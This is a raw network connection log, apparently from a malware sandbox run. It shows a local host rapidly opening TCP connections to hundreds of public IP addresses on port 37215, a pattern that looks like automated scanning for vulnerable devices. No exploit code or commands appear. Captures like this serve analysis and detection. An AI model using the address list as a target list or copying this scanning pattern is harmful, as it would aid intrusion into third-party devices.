Sep 25, 2024 14:14:09.796710014 CEST	52332	37215	192.168.2.14	197.210.89.215
Sep 25, 2024 14:14:09.796786070 CEST	37215	47260	156.7.11.250	192.168.2.14
Sep 25, 2024 14:14:09.796823978 CEST	47260	37215	192.168.2.14	156.7.11.250
Sep 25, 2024 14:14:09.797502995 CEST	37215	47494	156.217.57.108	192.168.2.14
Sep 25, 2024 14:14:09.797548056 CEST	47494	37215	192.168.2.14	156.217.57.108
Sep 25, 2024 14:14:09.797813892 CEST	54808	37215	192.168.2.14	156.26.39.47
Sep 25, 2024 14:14:09.798705101 CEST	37215	53884	197.11.4.247	192.168.2.14
Sep 25, 2024 14:14:09.798826933 CEST	53884	37215	192.168.2.14	197.11.4.247
Sep 25, 2024 14:14:09.799079895 CEST	54928	37215	192.168.2.14	156.186.222.188
Sep 25, 2024 14:14:09.799209118 CEST	37215	35998	156.207.216.152	192.168.2.14
Sep 25, 2024 14:14:09.799256086 CEST	35998	37215	192.168.2.14	156.207.216.152
Sep 25, 2024 14:14:09.799915075 CEST	37215	53560	41.135.197.14	192.168.2.14
Sep 25, 2024 14:14:09.799948931 CEST	53560	37215	192.168.2.14	41.135.197.14
Sep 25, 2024 14:14:09.800311089 CEST	33936	37215	192.168.2.14	41.30.78.64
Sep 25, 2024 14:14:09.801515102 CEST	37632	37215	192.168.2.14	156.42.73.218
Sep 25, 2024 14:14:09.802660942 CEST	50448	37215	192.168.2.14	41.173.74.236
Sep 25, 2024 14:14:09.803978920 CEST	36708	37215	192.168.2.14	197.177.156.30
Sep 25, 2024 14:14:09.804595947 CEST	37215	52332	197.210.89.215	192.168.2.14
Sep 25, 2024 14:14:09.804610014 CEST	37215	54808	156.26.39.47	192.168.2.14
Sep 25, 2024 14:14:09.804626942 CEST	52332	37215	192.168.2.14	197.210.89.215
Sep 25, 2024 14:14:09.804635048 CEST	54808	37215	192.168.2.14	156.26.39.47
Sep 25, 2024 14:14:09.805119038 CEST	37215	54928	156.186.222.188	192.168.2.14
Sep 25, 2024 14:14:09.805159092 CEST	54928	37215	192.168.2.14	156.186.222.188
Sep 25, 2024 14:14:09.805397987 CEST	39082	37215	192.168.2.14	197.86.239.160
Sep 25, 2024 14:14:09.805953026 CEST	37215	33936	41.30.78.64	192.168.2.14
Sep 25, 2024 14:14:09.805989981 CEST	33936	37215	192.168.2.14	41.30.78.64
Sep 25, 2024 14:14:09.806672096 CEST	44062	37215	192.168.2.14	41.177.1.74
Sep 25, 2024 14:14:09.806760073 CEST	37215	37632	156.42.73.218	192.168.2.14
Sep 25, 2024 14:14:09.806793928 CEST	37632	37215	192.168.2.14	156.42.73.218
Sep 25, 2024 14:14:09.807468891 CEST	37215	50448	41.173.74.236	192.168.2.14
Sep 25, 2024 14:14:09.807503939 CEST	50448	37215	192.168.2.14	41.173.74.236
Sep 25, 2024 14:14:09.808196068 CEST	37646	37215	192.168.2.14	156.39.222.238
Sep 25, 2024 14:14:09.808768034 CEST	37215	36708	197.177.156.30	192.168.2.14
Sep 25, 2024 14:14:09.808809042 CEST	36708	37215	192.168.2.14	197.177.156.30
Sep 25, 2024 14:14:09.809853077 CEST	33496	37215	192.168.2.14	156.190.179.85
Sep 25, 2024 14:14:09.810187101 CEST	37215	39082	197.86.239.160	192.168.2.14
Sep 25, 2024 14:14:09.810229063 CEST	39082	37215	192.168.2.14	197.86.239.160
Sep 25, 2024 14:14:09.811366081 CEST	37068	37215	192.168.2.14	41.114.110.174
Sep 25, 2024 14:14:09.811441898 CEST	37215	44062	41.177.1.74	192.168.2.14
Sep 25, 2024 14:14:09.811495066 CEST	44062	37215	192.168.2.14	41.177.1.74
Sep 25, 2024 14:14:09.813044071 CEST	37215	37646	156.39.222.238	192.168.2.14
Sep 25, 2024 14:14:09.813103914 CEST	58588	37215	192.168.2.14	41.89.167.118
Sep 25, 2024 14:14:09.813174009 CEST	37646	37215	192.168.2.14	156.39.222.238
Sep 25, 2024 14:14:09.814302921 CEST	44828	37215	192.168.2.14	156.135.251.155
Sep 25, 2024 14:14:09.815880060 CEST	42856	37215	192.168.2.14	197.58.228.114
Sep 25, 2024 14:14:09.816519022 CEST	37215	33496	156.190.179.85	192.168.2.14
Sep 25, 2024 14:14:09.816570044 CEST	33496	37215	192.168.2.14	156.190.179.85
Sep 25, 2024 14:14:09.816845894 CEST	37215	37068	41.114.110.174	192.168.2.14
Sep 25, 2024 14:14:09.817261934 CEST	37068	37215	192.168.2.14	41.114.110.174
Sep 25, 2024 14:14:09.817430019 CEST	41444	37215	192.168.2.14	41.165.106.77
Sep 25, 2024 14:14:09.818655968 CEST	52532	37215	192.168.2.14	197.73.214.226
Sep 25, 2024 14:14:09.818660021 CEST	37215	58588	41.89.167.118	192.168.2.14
Sep 25, 2024 14:14:09.818701029 CEST	58588	37215	192.168.2.14	41.89.167.118
Sep 25, 2024 14:14:09.819894075 CEST	37215	44828	156.135.251.155	192.168.2.14
Sep 25, 2024 14:14:09.819927931 CEST	44828	37215	192.168.2.14	156.135.251.155
Sep 25, 2024 14:14:09.819972992 CEST	60920	37215	192.168.2.14	41.134.91.195
Sep 25, 2024 14:14:09.821260929 CEST	53682	37215	192.168.2.14	41.75.87.189
Sep 25, 2024 14:14:09.821599960 CEST	37215	42856	197.58.228.114	192.168.2.14
Sep 25, 2024 14:14:09.821636915 CEST	42856	37215	192.168.2.14	197.58.228.114
Sep 25, 2024 14:14:09.822103024 CEST	37720	37215	192.168.2.14	197.23.164.92
Sep 25, 2024 14:14:09.822302103 CEST	37215	41444	41.165.106.77	192.168.2.14
Sep 25, 2024 14:14:09.822335958 CEST	41444	37215	192.168.2.14	41.165.106.77
Sep 25, 2024 14:14:09.823087931 CEST	34244	37215	192.168.2.14	156.137.155.99
Sep 25, 2024 14:14:09.823606968 CEST	37215	52532	197.73.214.226	192.168.2.14
Sep 25, 2024 14:14:09.823641062 CEST	52532	37215	192.168.2.14	197.73.214.226
Sep 25, 2024 14:14:09.824115992 CEST	37560	37215	192.168.2.14	41.251.248.239
Sep 25, 2024 14:14:09.824904919 CEST	37215	60920	41.134.91.195	192.168.2.14
Sep 25, 2024 14:14:09.824944019 CEST	60920	37215	192.168.2.14	41.134.91.195
Sep 25, 2024 14:14:09.825145960 CEST	38110	37215	192.168.2.14	197.231.175.245
Sep 25, 2024 14:14:09.826021910 CEST	37215	53682	41.75.87.189	192.168.2.14
Sep 25, 2024 14:14:09.826064110 CEST	53682	37215	192.168.2.14	41.75.87.189
Sep 25, 2024 14:14:09.826273918 CEST	46528	37215	192.168.2.14	41.2.163.52
Sep 25, 2024 14:14:09.826910019 CEST	37215	37720	197.23.164.92	192.168.2.14
Sep 25, 2024 14:14:09.826946974 CEST	37720	37215	192.168.2.14	197.23.164.92
Sep 25, 2024 14:14:09.828011990 CEST	37215	34244	156.137.155.99	192.168.2.14
Sep 25, 2024 14:14:09.828094959 CEST	34244	37215	192.168.2.14	156.137.155.99
Sep 25, 2024 14:14:09.828188896 CEST	57708	37215	192.168.2.14	156.150.87.77
Sep 25, 2024 14:14:09.828866959 CEST	37215	37560	41.251.248.239	192.168.2.14
Sep 25, 2024 14:14:09.828901052 CEST	37560	37215	192.168.2.14	41.251.248.239
Sep 25, 2024 14:14:09.829910994 CEST	37215	38110	197.231.175.245	192.168.2.14
Sep 25, 2024 14:14:09.829951048 CEST	38110	37215	192.168.2.14	197.231.175.245
Sep 25, 2024 14:14:09.831073999 CEST	37215	46528	41.2.163.52	192.168.2.14
Sep 25, 2024 14:14:09.831113100 CEST	46528	37215	192.168.2.14	41.2.163.52
Sep 25, 2024 14:14:09.831478119 CEST	41636	37215	192.168.2.14	197.97.88.153
Sep 25, 2024 14:14:09.833404064 CEST	37215	57708	156.150.87.77	192.168.2.14
Sep 25, 2024 14:14:09.833440065 CEST	57708	37215	192.168.2.14	156.150.87.77
Sep 25, 2024 14:14:09.834218979 CEST	42912	37215	192.168.2.14	156.56.63.6
Sep 25, 2024 14:14:09.836338043 CEST	37215	41636	197.97.88.153	192.168.2.14
Sep 25, 2024 14:14:09.836389065 CEST	41636	37215	192.168.2.14	197.97.88.153
Sep 25, 2024 14:14:09.837297916 CEST	59754	37215	192.168.2.14	197.8.24.240
Sep 25, 2024 14:14:09.839107037 CEST	37215	42912	156.56.63.6	192.168.2.14
Sep 25, 2024 14:14:09.839216948 CEST	42912	37215	192.168.2.14	156.56.63.6
Sep 25, 2024 14:14:09.840042114 CEST	54450	37215	192.168.2.14	197.219.223.91
Sep 25, 2024 14:14:09.842534065 CEST	56820	37215	192.168.2.14	156.202.78.248
Sep 25, 2024 14:14:09.844568968 CEST	37215	59754	197.8.24.240	192.168.2.14
Sep 25, 2024 14:14:09.844779015 CEST	59754	37215	192.168.2.14	197.8.24.240
Sep 25, 2024 14:14:09.845766068 CEST	37215	54450	197.219.223.91	192.168.2.14
Sep 25, 2024 14:14:09.845804930 CEST	54450	37215	192.168.2.14	197.219.223.91
Sep 25, 2024 14:14:09.846090078 CEST	56118	37215	192.168.2.14	41.185.23.149
Sep 25, 2024 14:14:09.848047018 CEST	37215	56820	156.202.78.248	192.168.2.14
Sep 25, 2024 14:14:09.848083019 CEST	56820	37215	192.168.2.14	156.202.78.248
Sep 25, 2024 14:14:09.851788044 CEST	37215	56118	41.185.23.149	192.168.2.14
Sep 25, 2024 14:14:09.851825953 CEST	56118	37215	192.168.2.14	41.185.23.149
Sep 25, 2024 14:14:09.863028049 CEST	50012	37215	192.168.2.14	41.26.175.192
Sep 25, 2024 14:14:09.864854097 CEST	51518	37215	192.168.2.14	156.175.237.207
Sep 25, 2024 14:14:09.866054058 CEST	32832	37215	192.168.2.14	197.137.197.243
Sep 25, 2024 14:14:09.866102934 CEST	32832	37215	192.168.2.14	197.137.197.243
Sep 25, 2024 14:14:09.867058992 CEST	33088	37215	192.168.2.14	197.137.197.243
Sep 25, 2024 14:14:09.867691040 CEST	39490	37215	192.168.2.14	197.150.60.243
Sep 25, 2024 14:14:09.867722034 CEST	39490	37215	192.168.2.14	197.150.60.243
Sep 25, 2024 14:14:09.868648052 CEST	39746	37215	192.168.2.14	197.150.60.243
Sep 25, 2024 14:14:09.868846893 CEST	37215	50012	41.26.175.192	192.168.2.14
Sep 25, 2024 14:14:09.868972063 CEST	50012	37215	192.168.2.14	41.26.175.192
Sep 25, 2024 14:14:09.869652033 CEST	34480	37215	192.168.2.14	197.62.234.103
Sep 25, 2024 14:14:09.869652033 CEST	34480	37215	192.168.2.14	197.62.234.103
Sep 25, 2024 14:14:09.870199919 CEST	34736	37215	192.168.2.14	197.62.234.103
Sep 25, 2024 14:14:09.870562077 CEST	37215	51518	156.175.237.207	192.168.2.14
Sep 25, 2024 14:14:09.870639086 CEST	51518	37215	192.168.2.14	156.175.237.207
Sep 25, 2024 14:14:09.870878935 CEST	44902	37215	192.168.2.14	156.129.215.226
Sep 25, 2024 14:14:09.870899916 CEST	44902	37215	192.168.2.14	156.129.215.226
Sep 25, 2024 14:14:09.870928049 CEST	37215	32832	197.137.197.243	192.168.2.14
Sep 25, 2024 14:14:09.871486902 CEST	45158	37215	192.168.2.14	156.129.215.226
Sep 25, 2024 14:14:09.872005939 CEST	37215	33088	197.137.197.243	192.168.2.14
Sep 25, 2024 14:14:09.872051954 CEST	33088	37215	192.168.2.14	197.137.197.243
Sep 25, 2024 14:14:09.872520924 CEST	37215	39490	197.150.60.243	192.168.2.14
Sep 25, 2024 14:14:09.872658968 CEST	53700	37215	192.168.2.14	41.204.214.55
Sep 25, 2024 14:14:09.872658968 CEST	53700	37215	192.168.2.14	41.204.214.55
Sep 25, 2024 14:14:09.873500109 CEST	37215	39746	197.150.60.243	192.168.2.14
Sep 25, 2024 14:14:09.873522997 CEST	53956	37215	192.168.2.14	41.204.214.55
Sep 25, 2024 14:14:09.873750925 CEST	39746	37215	192.168.2.14	197.150.60.243
Sep 25, 2024 14:14:09.874495983 CEST	60866	37215	192.168.2.14	197.4.255.13
Sep 25, 2024 14:14:09.874563932 CEST	60866	37215	192.168.2.14	197.4.255.13
Sep 25, 2024 14:14:09.875160933 CEST	32890	37215	192.168.2.14	197.4.255.13
Sep 25, 2024 14:14:09.875643969 CEST	37215	34480	197.62.234.103	192.168.2.14
Sep 25, 2024 14:14:09.876111984 CEST	37215	34736	197.62.234.103	192.168.2.14
Sep 25, 2024 14:14:09.876158953 CEST	34736	37215	192.168.2.14	197.62.234.103
Sep 25, 2024 14:14:09.876234055 CEST	42618	37215	192.168.2.14	156.182.203.125
Sep 25, 2024 14:14:09.876234055 CEST	42618	37215	192.168.2.14	156.182.203.125
Sep 25, 2024 14:14:09.876676083 CEST	37215	44902	156.129.215.226	192.168.2.14
Sep 25, 2024 14:14:09.876971006 CEST	42874	37215	192.168.2.14	156.182.203.125
Sep 25, 2024 14:14:09.877336979 CEST	37215	45158	156.129.215.226	192.168.2.14
Sep 25, 2024 14:14:09.877368927 CEST	45158	37215	192.168.2.14	156.129.215.226
Sep 25, 2024 14:14:09.877546072 CEST	37215	53700	41.204.214.55	192.168.2.14
Sep 25, 2024 14:14:09.878057957 CEST	42254	37215	192.168.2.14	197.172.82.145
Sep 25, 2024 14:14:09.878086090 CEST	42254	37215	192.168.2.14	197.172.82.145
Sep 25, 2024 14:14:09.878279924 CEST	37215	53956	41.204.214.55	192.168.2.14
Sep 25, 2024 14:14:09.878319979 CEST	53956	37215	192.168.2.14	41.204.214.55
Sep 25, 2024 14:14:09.878863096 CEST	42510	37215	192.168.2.14	197.172.82.145
Sep 25, 2024 14:14:09.879288912 CEST	37215	60866	197.4.255.13	192.168.2.14
Sep 25, 2024 14:14:09.879566908 CEST	55974	37215	192.168.2.14	197.22.8.23
Sep 25, 2024 14:14:09.879566908 CEST	55974	37215	192.168.2.14	197.22.8.23
Sep 25, 2024 14:14:09.879920006 CEST	37215	32890	197.4.255.13	192.168.2.14
Sep 25, 2024 14:14:09.879966021 CEST	32890	37215	192.168.2.14	197.4.255.13
Sep 25, 2024 14:14:09.880306005 CEST	56230	37215	192.168.2.14	197.22.8.23
Sep 25, 2024 14:14:09.881190062 CEST	37215	42618	156.182.203.125	192.168.2.14
Sep 25, 2024 14:14:09.881221056 CEST	46578	37215	192.168.2.14	156.5.157.97
Sep 25, 2024 14:14:09.881221056 CEST	46578	37215	192.168.2.14	156.5.157.97
Sep 25, 2024 14:14:09.881684065 CEST	46834	37215	192.168.2.14	156.5.157.97
Sep 25, 2024 14:14:09.881721973 CEST	37215	42874	156.182.203.125	192.168.2.14
Sep 25, 2024 14:14:09.881757975 CEST	42874	37215	192.168.2.14	156.182.203.125
Sep 25, 2024 14:14:09.882805109 CEST	57410	37215	192.168.2.14	41.161.47.162
Sep 25, 2024 14:14:09.882833004 CEST	57410	37215	192.168.2.14	41.161.47.162
Sep 25, 2024 14:14:09.882883072 CEST	37215	42254	197.172.82.145	192.168.2.14
Sep 25, 2024 14:14:09.883346081 CEST	57666	37215	192.168.2.14	41.161.47.162
Sep 25, 2024 14:14:09.883723974 CEST	37215	42510	197.172.82.145	192.168.2.14
Sep 25, 2024 14:14:09.883774042 CEST	42510	37215	192.168.2.14	197.172.82.145
Sep 25, 2024 14:14:09.884144068 CEST	57062	37215	192.168.2.14	197.213.83.147
Sep 25, 2024 14:14:09.884170055 CEST	57062	37215	192.168.2.14	197.213.83.147
Sep 25, 2024 14:14:09.884772062 CEST	57318	37215	192.168.2.14	197.213.83.147
Sep 25, 2024 14:14:09.885596037 CEST	37215	55974	197.22.8.23	192.168.2.14
Sep 25, 2024 14:14:09.885865927 CEST	59120	37215	192.168.2.14	41.236.198.95
Sep 25, 2024 14:14:09.885878086 CEST	59120	37215	192.168.2.14	41.236.198.95
Sep 25, 2024 14:14:09.886296034 CEST	59376	37215	192.168.2.14	41.236.198.95
Sep 25, 2024 14:14:09.886794090 CEST	37215	56230	197.22.8.23	192.168.2.14
Sep 25, 2024 14:14:09.886852026 CEST	56230	37215	192.168.2.14	197.22.8.23
Sep 25, 2024 14:14:09.886915922 CEST	53092	37215	192.168.2.14	197.232.113.246
Sep 25, 2024 14:14:09.886915922 CEST	53092	37215	192.168.2.14	197.232.113.246
Sep 25, 2024 14:14:09.886991024 CEST	37215	46578	156.5.157.97	192.168.2.14
Sep 25, 2024 14:14:09.887065887 CEST	37215	46834	156.5.157.97	192.168.2.14
Sep 25, 2024 14:14:09.887098074 CEST	46834	37215	192.168.2.14	156.5.157.97
Sep 25, 2024 14:14:09.887564898 CEST	53348	37215	192.168.2.14	197.232.113.246
Sep 25, 2024 14:14:09.887748957 CEST	37215	57410	41.161.47.162	192.168.2.14
Sep 25, 2024 14:14:09.888091087 CEST	37215	57666	41.161.47.162	192.168.2.14
Sep 25, 2024 14:14:09.888113976 CEST	43676	37215	192.168.2.14	41.17.167.241
Sep 25, 2024 14:14:09.888113976 CEST	43676	37215	192.168.2.14	41.17.167.241
Sep 25, 2024 14:14:09.888127089 CEST	57666	37215	192.168.2.14	41.161.47.162
Sep 25, 2024 14:14:09.888845921 CEST	43932	37215	192.168.2.14	41.17.167.241
Sep 25, 2024 14:14:09.889100075 CEST	37215	57062	197.213.83.147	192.168.2.14
Sep 25, 2024 14:14:09.889282942 CEST	40592	37215	192.168.2.14	156.231.211.64
Sep 25, 2024 14:14:09.889307022 CEST	40592	37215	192.168.2.14	156.231.211.64
Sep 25, 2024 14:14:09.889705896 CEST	37215	57318	197.213.83.147	192.168.2.14
Sep 25, 2024 14:14:09.889744997 CEST	57318	37215	192.168.2.14	197.213.83.147
Sep 25, 2024 14:14:09.889995098 CEST	40848	37215	192.168.2.14	156.231.211.64
Sep 25, 2024 14:14:09.890713930 CEST	37215	59120	41.236.198.95	192.168.2.14
Sep 25, 2024 14:14:09.891283035 CEST	42828	37215	192.168.2.14	156.43.122.92
Sep 25, 2024 14:14:09.891283035 CEST	42828	37215	192.168.2.14	156.43.122.92
Sep 25, 2024 14:14:09.891516924 CEST	37215	59376	41.236.198.95	192.168.2.14
Sep 25, 2024 14:14:09.891612053 CEST	59376	37215	192.168.2.14	41.236.198.95
Sep 25, 2024 14:14:09.891690016 CEST	43084	37215	192.168.2.14	156.43.122.92
Sep 25, 2024 14:14:09.891984940 CEST	37215	53092	197.232.113.246	192.168.2.14
Sep 25, 2024 14:14:09.892270088 CEST	38586	37215	192.168.2.14	197.117.239.45
Sep 25, 2024 14:14:09.892270088 CEST	38586	37215	192.168.2.14	197.117.239.45
Sep 25, 2024 14:14:09.892492056 CEST	37215	53348	197.232.113.246	192.168.2.14
Sep 25, 2024 14:14:09.892582893 CEST	53348	37215	192.168.2.14	197.232.113.246
Sep 25, 2024 14:14:09.892952919 CEST	38842	37215	192.168.2.14	197.117.239.45
Sep 25, 2024 14:14:09.893100977 CEST	37215	43676	41.17.167.241	192.168.2.14
Sep 25, 2024 14:14:09.894357920 CEST	37215	43932	41.17.167.241	192.168.2.14
Sep 25, 2024 14:14:09.894392014 CEST	43932	37215	192.168.2.14	41.17.167.241
Sep 25, 2024 14:14:09.894406080 CEST	37215	40592	156.231.211.64	192.168.2.14
Sep 25, 2024 14:14:09.894769907 CEST	38602	37215	192.168.2.14	197.211.194.206
Sep 25, 2024 14:14:09.894769907 CEST	38602	37215	192.168.2.14	197.211.194.206
Sep 25, 2024 14:14:09.894911051 CEST	37215	40848	156.231.211.64	192.168.2.14
Sep 25, 2024 14:14:09.895019054 CEST	40848	37215	192.168.2.14	156.231.211.64
Sep 25, 2024 14:14:09.895567894 CEST	38858	37215	192.168.2.14	197.211.194.206
Sep 25, 2024 14:14:09.896761894 CEST	40092	37215	192.168.2.14	41.224.51.184
Sep 25, 2024 14:14:09.896791935 CEST	40092	37215	192.168.2.14	41.224.51.184
Sep 25, 2024 14:14:09.897308111 CEST	37215	42828	156.43.122.92	192.168.2.14
Sep 25, 2024 14:14:09.897368908 CEST	37215	43084	156.43.122.92	192.168.2.14
Sep 25, 2024 14:14:09.897378922 CEST	37215	38586	197.117.239.45	192.168.2.14
Sep 25, 2024 14:14:09.897403002 CEST	43084	37215	192.168.2.14	156.43.122.92
Sep 25, 2024 14:14:09.897819996 CEST	40348	37215	192.168.2.14	41.224.51.184
Sep 25, 2024 14:14:09.897845030 CEST	37215	38842	197.117.239.45	192.168.2.14
Sep 25, 2024 14:14:09.897876978 CEST	38842	37215	192.168.2.14	197.117.239.45
Sep 25, 2024 14:14:09.899342060 CEST	51654	37215	192.168.2.14	197.78.160.104
Sep 25, 2024 14:14:09.899342060 CEST	51654	37215	192.168.2.14	197.78.160.104
Sep 25, 2024 14:14:09.900175095 CEST	51910	37215	192.168.2.14	197.78.160.104
Sep 25, 2024 14:14:09.900455952 CEST	37215	38602	197.211.194.206	192.168.2.14
Sep 25, 2024 14:14:09.901572943 CEST	37215	38858	197.211.194.206	192.168.2.14
Sep 25, 2024 14:14:09.901612997 CEST	38858	37215	192.168.2.14	197.211.194.206
Sep 25, 2024 14:14:09.902254105 CEST	47866	37215	192.168.2.14	41.186.58.182
Sep 25, 2024 14:14:09.902287006 CEST	47866	37215	192.168.2.14	41.186.58.182
Sep 25, 2024 14:14:09.902774096 CEST	37215	40092	41.224.51.184	192.168.2.14
Sep 25, 2024 14:14:09.903093100 CEST	37215	40348	41.224.51.184	192.168.2.14
Sep 25, 2024 14:14:09.903157949 CEST	40348	37215	192.168.2.14	41.224.51.184
Sep 25, 2024 14:14:09.904165030 CEST	48122	37215	192.168.2.14	41.186.58.182
Sep 25, 2024 14:14:09.904948950 CEST	37215	51654	197.78.160.104	192.168.2.14
Sep 25, 2024 14:14:09.906544924 CEST	44094	37215	192.168.2.14	156.10.102.1
Sep 25, 2024 14:14:09.906565905 CEST	44094	37215	192.168.2.14	156.10.102.1
Sep 25, 2024 14:14:09.906580925 CEST	37215	51910	197.78.160.104	192.168.2.14
Sep 25, 2024 14:14:09.906619072 CEST	51910	37215	192.168.2.14	197.78.160.104
Sep 25, 2024 14:14:09.907865047 CEST	44350	37215	192.168.2.14	156.10.102.1
Sep 25, 2024 14:14:09.909370899 CEST	37215	47866	41.186.58.182	192.168.2.14
Sep 25, 2024 14:14:09.909482002 CEST	47632	37215	192.168.2.14	156.73.176.14
Sep 25, 2024 14:14:09.909482002 CEST	47632	37215	192.168.2.14	156.73.176.14
Sep 25, 2024 14:14:09.911300898 CEST	47888	37215	192.168.2.14	156.73.176.14
Sep 25, 2024 14:14:09.911626101 CEST	37215	48122	41.186.58.182	192.168.2.14
Sep 25, 2024 14:14:09.911667109 CEST	48122	37215	192.168.2.14	41.186.58.182
Sep 25, 2024 14:14:09.913403988 CEST	37215	44094	156.10.102.1	192.168.2.14
Sep 25, 2024 14:14:09.913642883 CEST	54036	37215	192.168.2.14	41.7.172.29
Sep 25, 2024 14:14:09.913642883 CEST	54036	37215	192.168.2.14	41.7.172.29
Sep 25, 2024 14:14:09.913825989 CEST	37215	39490	197.150.60.243	192.168.2.14
Sep 25, 2024 14:14:09.913837910 CEST	37215	32832	197.137.197.243	192.168.2.14
Sep 25, 2024 14:14:09.914336920 CEST	54292	37215	192.168.2.14	41.7.172.29
Sep 25, 2024 14:14:09.915179014 CEST	50220	37215	192.168.2.14	41.35.202.34
Sep 25, 2024 14:14:09.915179014 CEST	50220	37215	192.168.2.14	41.35.202.34
Sep 25, 2024 14:14:09.915761948 CEST	50476	37215	192.168.2.14	41.35.202.34
Sep 25, 2024 14:14:09.916461945 CEST	42122	37215	192.168.2.14	41.117.220.87
Sep 25, 2024 14:14:09.916461945 CEST	42122	37215	192.168.2.14	41.117.220.87
Sep 25, 2024 14:14:09.916754961 CEST	37215	44350	156.10.102.1	192.168.2.14
Sep 25, 2024 14:14:09.916794062 CEST	44350	37215	192.168.2.14	156.10.102.1
Sep 25, 2024 14:14:09.916872025 CEST	42378	37215	192.168.2.14	41.117.220.87
Sep 25, 2024 14:14:09.917686939 CEST	37215	47632	156.73.176.14	192.168.2.14
Sep 25, 2024 14:14:09.917763948 CEST	54084	37215	192.168.2.14	197.44.240.204
Sep 25, 2024 14:14:09.917823076 CEST	54084	37215	192.168.2.14	197.44.240.204
Sep 25, 2024 14:14:09.918989897 CEST	54340	37215	192.168.2.14	197.44.240.204
Sep 25, 2024 14:14:09.918992043 CEST	37215	47888	156.73.176.14	192.168.2.14
Sep 25, 2024 14:14:09.919053078 CEST	47888	37215	192.168.2.14	156.73.176.14
Sep 25, 2024 14:14:09.919792891 CEST	33078	37215	192.168.2.14	197.122.68.154
Sep 25, 2024 14:14:09.919792891 CEST	33078	37215	192.168.2.14	197.122.68.154
Sep 25, 2024 14:14:09.920463085 CEST	33334	37215	192.168.2.14	197.122.68.154
Sep 25, 2024 14:14:09.921008110 CEST	37215	54036	41.7.172.29	192.168.2.14
Sep 25, 2024 14:14:09.921171904 CEST	49178	37215	192.168.2.14	197.7.143.124
Sep 25, 2024 14:14:09.921205997 CEST	49178	37215	192.168.2.14	197.7.143.124
Sep 25, 2024 14:14:09.921829939 CEST	37215	53700	41.204.214.55	192.168.2.14
Sep 25, 2024 14:14:09.921849966 CEST	37215	44902	156.129.215.226	192.168.2.14
Sep 25, 2024 14:14:09.921891928 CEST	37215	34480	197.62.234.103	192.168.2.14
Sep 25, 2024 14:14:09.921902895 CEST	37215	42618	156.182.203.125	192.168.2.14
Sep 25, 2024 14:14:09.921925068 CEST	37215	60866	197.4.255.13	192.168.2.14
Sep 25, 2024 14:14:09.922549963 CEST	37215	54292	41.7.172.29	192.168.2.14
Sep 25, 2024 14:14:09.922588110 CEST	54292	37215	192.168.2.14	41.7.172.29
Sep 25, 2024 14:14:09.922610998 CEST	37215	50220	41.35.202.34	192.168.2.14
Sep 25, 2024 14:14:09.922666073 CEST	49434	37215	192.168.2.14	197.7.143.124
Sep 25, 2024 14:14:09.923065901 CEST	37215	50476	41.35.202.34	192.168.2.14
Sep 25, 2024 14:14:09.923106909 CEST	50476	37215	192.168.2.14	41.35.202.34
Sep 25, 2024 14:14:09.923327923 CEST	37215	42122	41.117.220.87	192.168.2.14
Sep 25, 2024 14:14:09.923825026 CEST	37215	42378	41.117.220.87	192.168.2.14
Sep 25, 2024 14:14:09.923868895 CEST	42378	37215	192.168.2.14	41.117.220.87
Sep 25, 2024 14:14:09.923932076 CEST	34102	37215	192.168.2.14	41.205.14.22
Sep 25, 2024 14:14:09.923959017 CEST	34102	37215	192.168.2.14	41.205.14.22
Sep 25, 2024 14:14:09.924904108 CEST	37215	54084	197.44.240.204	192.168.2.14
Sep 25, 2024 14:14:09.924987078 CEST	34358	37215	192.168.2.14	41.205.14.22
Sep 25, 2024 14:14:09.925839901 CEST	37215	55974	197.22.8.23	192.168.2.14
Sep 25, 2024 14:14:09.925851107 CEST	37215	42254	197.172.82.145	192.168.2.14
Sep 25, 2024 14:14:09.926472902 CEST	50674	37215	192.168.2.14	156.165.196.119
Sep 25, 2024 14:14:09.926485062 CEST	50674	37215	192.168.2.14	156.165.196.119
Sep 25, 2024 14:14:09.927314997 CEST	37215	54340	197.44.240.204	192.168.2.14
Sep 25, 2024 14:14:09.927335978 CEST	37215	33078	197.122.68.154	192.168.2.14
Sep 25, 2024 14:14:09.927371979 CEST	54340	37215	192.168.2.14	197.44.240.204
Sep 25, 2024 14:14:09.927748919 CEST	50930	37215	192.168.2.14	156.165.196.119
Sep 25, 2024 14:14:09.928275108 CEST	37215	33334	197.122.68.154	192.168.2.14
Sep 25, 2024 14:14:09.928350925 CEST	33334	37215	192.168.2.14	197.122.68.154
Sep 25, 2024 14:14:09.928881884 CEST	37215	49178	197.7.143.124	192.168.2.14
Sep 25, 2024 14:14:09.929141998 CEST	41022	37215	192.168.2.14	156.76.35.164
Sep 25, 2024 14:14:09.929141998 CEST	41022	37215	192.168.2.14	156.76.35.164
Sep 25, 2024 14:14:09.929785967 CEST	37215	57410	41.161.47.162	192.168.2.14
Sep 25, 2024 14:14:09.929809093 CEST	37215	57062	197.213.83.147	192.168.2.14
Sep 25, 2024 14:14:09.929819107 CEST	37215	46578	156.5.157.97	192.168.2.14
Sep 25, 2024 14:14:09.930032015 CEST	37215	49434	197.7.143.124	192.168.2.14
Sep 25, 2024 14:14:09.930099010 CEST	49434	37215	192.168.2.14	197.7.143.124
Sep 25, 2024 14:14:09.930162907 CEST	41278	37215	192.168.2.14	156.76.35.164
Sep 25, 2024 14:14:09.931080103 CEST	37215	34102	41.205.14.22	192.168.2.14
Sep 25, 2024 14:14:09.931678057 CEST	47978	37215	192.168.2.14	156.24.206.200
Sep 25, 2024 14:14:09.931678057 CEST	47978	37215	192.168.2.14	156.24.206.200
Sep 25, 2024 14:14:09.933360100 CEST	37215	34358	41.205.14.22	192.168.2.14
Sep 25, 2024 14:14:09.933407068 CEST	34358	37215	192.168.2.14	41.205.14.22
Sep 25, 2024 14:14:09.933423996 CEST	48234	37215	192.168.2.14	156.24.206.200
Sep 25, 2024 14:14:09.933465004 CEST	37215	50674	156.165.196.119	192.168.2.14
Sep 25, 2024 14:14:09.934539080 CEST	37215	50930	156.165.196.119	192.168.2.14
Sep 25, 2024 14:14:09.934586048 CEST	50930	37215	192.168.2.14	156.165.196.119
Sep 25, 2024 14:14:09.935085058 CEST	42460	37215	192.168.2.14	41.114.20.185
Sep 25, 2024 14:14:09.935085058 CEST	42460	37215	192.168.2.14	41.114.20.185
Sep 25, 2024 14:14:09.935558081 CEST	37215	41022	156.76.35.164	192.168.2.14
Sep 25, 2024 14:14:09.935970068 CEST	42716	37215	192.168.2.14	41.114.20.185
Sep 25, 2024 14:14:09.937500000 CEST	37215	41278	156.76.35.164	192.168.2.14
Sep 25, 2024 14:14:09.937546015 CEST	41278	37215	192.168.2.14	156.76.35.164
Sep 25, 2024 14:14:09.937724113 CEST	54974	37215	192.168.2.14	156.218.179.250
